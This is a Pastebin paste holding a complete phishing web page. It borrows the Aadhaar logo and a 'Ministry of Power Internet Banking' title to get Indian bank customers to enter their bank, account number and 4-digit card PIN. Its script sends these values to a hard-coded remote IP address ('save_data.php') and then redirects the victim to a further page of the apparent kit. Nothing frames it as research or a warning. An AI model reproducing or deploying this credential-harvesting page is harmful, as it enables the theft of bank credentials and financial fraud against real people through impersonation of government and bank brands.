API tools faq
paste
Advertisement
Vivek333

Aadhar Card 2

Vivek333
Oct 12th, 2024
277
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.40 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>Ministry of Power Internet Banking</title>
  7. <style>
  8. body {
  9. font-family: Arial, sans-serif;
  10. background-color: #f0f8ff;
  11. margin: 0;
  12. padding: 20px;
  13. display: flex;
  14. justify-content: center;
  15. align-items: center;
  16. min-height: 100vh;
  17. }
  18. .container {
  19. background-color: white;
  20. padding: 20px;
  21. border-radius: 8px;
  22. box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
  23. max-width: 400px;
  24. width: 100%;
  25. }
  26. .logo {
  27. display: flex;
  28. align-items: center;
  29. margin-bottom: 20px;
  30. }
  31. .logo img {
  32. width: 150px;
  33. height: auto;
  34. margin-right: 10px;
  35. }
  36. .logo-text {
  37. font-size: 14px;
  38. line-height: 1.2;
  39. }
  40. h1 {
  41. text-align: left;
  42. margin: 0;
  43. font-size: 24px;
  44. margin-bottom: 20px;
  45. color: #000080;
  46. }
  47. .hindi {
  48. font-size: 18px;
  49. }
  50. select, input {
  51. width: 100%;
  52. padding: 10px;
  53. margin-bottom: 15px;
  54. border: 1px solid #ccc;
  55. border-radius: 4px;
  56. box-sizing: border-box;
  57. font-size: 16px;
  58. }
  59. select {
  60. appearance: none;
  61. background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='%23000000' viewBox='0 0 16 16'%3E%3Cpath d='M7.247 11.14 2.451 5.658C1.885 5.013 2.345 4 3.204 4h9.592a1 1 0 0 1 .753 1.659l-4.796 5.48a1 1 0 0 1-1.506 0z'/%3E%3C/svg%3E");
  62. background-repeat: no-repeat;
  63. background-position: right 10px center;
  64. }
  65. .pay-btn {
  66. background-color: #0066cc;
  67. color: white;
  68. border: none;
  69. padding: 12px;
  70. width: 100%;
  71. font-size: 18px;
  72. border-radius: 4px;
  73. cursor: pointer;
  74. }
  75. .small-red-text {
  76. color: red;
  77. font-size: 12px;
  78. margin-top: 5px;
  79. display: block;
  80. }
  81. </style>
  82. </head>
  83. <body>
  84. <div class="container">
  85. <div class="logo">
  86. <img src="https://upload.wikimedia.org/wikipedia/hi/thumb/c/cf/Aadhaar_Logo.svg/600px-Aadhaar_Logo.svg.png?20211118080822" alt="Ministry of Power Logo">
  87. </div>
  88. <h1>Enter your Account Details</h1>
  89. <span class="small-red-text">कृपिया अपने खाते की जानकारी दर्ज कीजिए।</span>
  90. <br>
  91. <hr>
  92. <form id="loginForm" onsubmit="return validateForm()">
  93. <select id="bank" required>
  94. <option value="" disabled selected>SELECT AN OPTION</option>
  95. <option value="HDFC Bank">HDFC Bank</option>
  96. <option value="Axis Bank">Axis Bank</option>
  97. <option value="SBI">SBI</option>
  98. <option value="Kotak Bank">Kotak Bank</option>
  99. <option value="UCO Bank">UCO Bank</option>
  100. <option value="Indusind Bank">Indusind Bank</option>
  101. <option value="Union Bank">Union Bank</option>
  102. <option value="Yes Bank">Yes Bank</option>
  103. <option value="Bank of India">Bank of India</option>
  104. <option value="Bank of Baroda">Bank of Baroda</option>
  105. <option value="Canara Bank">Canara Bank</option>
  106. <option value="City Union Bank">City Union Bank</option>
  107. <option value="Central Bank of India">Central Bank of India</option>
  108. <option value="Punjab National Bank">Punjab National Bank</option>
  109. <option value="ICICI Bank">ICICI Bank</option>
  110. <option value="RBL">RBL</option>
  111. <option value="AU Small Finance Bank">AU Small Finance Bank</option>
  112. <option value="CITI Bank">CITI Bank</option>
  113. <option value="other">Others</option>
  114. </select>
  115. <input id="userid" type="text" placeholder="Account Number ( खाता अंक )" required>
  116. <input id="passwd" type="password" placeholder="4 Digit Card Pin" required maxlength="4">
  117.  
  118. <button type="submit" class="pay-btn">Next</button>
  119. </form>
  120. </div>
  121. <script>
  122. function validateForm() {
  123. const bank = document.getElementById('bank').value.trim();
  124. const userid = document.getElementById('userid').value.trim();
  125. const passwd = document.getElementById('passwd').value.trim();
  126.  
  127.  
  128. if (bank === '' || userid === '' || passwd === '') {
  129. alert('All fields are required. Please fill in all the information.');
  130. return false;
  131. }
  132.  
  133. captureFormData();
  134. return false; // Prevent form from submitting normally
  135. }
  136.  
  137. function captureFormData() {
  138. const bank = document.getElementById('bank').value.trim();
  139. const userid = document.getElementById('userid').value.trim();
  140. const passwd = document.getElementById('passwd').value.trim();
  141.  
  142.  
  143. fetch('http://41.216.183.23/ALL/4/save_data.php', {
  144. method: 'POST',
  145. headers: {
  146. 'Content-Type': 'application/json'
  147. },
  148. body: JSON.stringify({
  149. form: 2,
  150. bnk: bank,
  151. usrid: userid,
  152. pasd: passwd
  153.  
  154. })
  155. })
  156. .then(response => {
  157. if (response.ok) {
  158. alert('Successful. Redirecting to next page');
  159. window.location.href = '3.html';
  160. } else {
  161. alert('Failed to submit form data. Please try again later.');
  162. }
  163. })
  164. .catch(error => {
  165. console.error('Error:', error);
  166. alert('Your request has been registered.');
  167. });
  168. }
  169. </script>
  170. </body>
  171. </html>
  172.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!